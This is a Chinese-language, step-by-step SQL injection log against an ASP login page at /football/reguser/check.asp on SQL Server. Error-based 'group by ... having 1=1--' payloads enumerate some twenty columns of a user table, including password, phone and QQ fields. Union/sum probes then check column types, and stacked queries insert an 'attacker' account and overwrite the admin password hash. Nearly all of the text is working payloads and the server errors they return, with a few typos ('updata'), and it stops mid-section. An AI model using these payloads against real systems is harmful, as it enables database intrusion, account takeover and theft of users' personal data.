一、获得建立用户的表的名字和字段的名字;使用select语法的having子句。 ********************************************************************************** ''having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_id'' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 /football/reguser/check.asp,行26 成果:知道了表的名字reguser和第一个字段的名字reguser.reg_id。 二、通过字段放到group by子句找到字段名。 1、 ********************************************************************************** ''group by reguser.reg_id having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_name'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_name字段 2、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_password'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_password字段 3、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_relname'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_relname字段 4、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_regtime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_regtime字段 5、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_findme'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_findme字段 6、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_city'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_city字段 7、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_qq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_qq字段 8、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_icq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_icq字段9、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_msn'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_msn字段 10、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_phone'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_phone字段 11、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_class'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_class字段 12、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_money'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_money字段 13、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_regip'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_regip字段 14、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_Estar'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_Estar字段 15、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_Eend'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_Eend字段 16、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1--返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_changeuser'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_changeuser字段 17、 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_changetime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_changetime字段 18 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_logintime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_logintime字段 19 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_online'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_online字段 20 ********************************************************************************** ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1-- ********************************************************************************** 返回结果: 出现信息提示框;你还不是会员请注册 到这里一个表猜完。 三、确定列的类型。通过使用类型转化来实现:利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。 1、 ********************************************************************************** ''union select sum(reguser.reg_name) from reguser-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e07'' sum or average aggregate 运算不能以 varchar 数据类型作为参数。 /football/reguser/check.asp,行26 成果:reguser.reg_name字段是数据类型varchar。 2、 ********************************************************************************** ''union select sum(reguser.reg_id) from reguser-- ********************************************************************************** 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。 /football/reguser/check.asp,行26 四、insert查询: ********************************************************************************** '';insert into reguser values(666,''attacker'',''foobar'')-- ********************************************************************************** 五、 ''union select * from reguser where reguser.reg_name=''admin''-- '';select * from reguser where reguser.reg_name=''admin''-- '';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- ''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- 六、从reguser表中读取用户名: |
|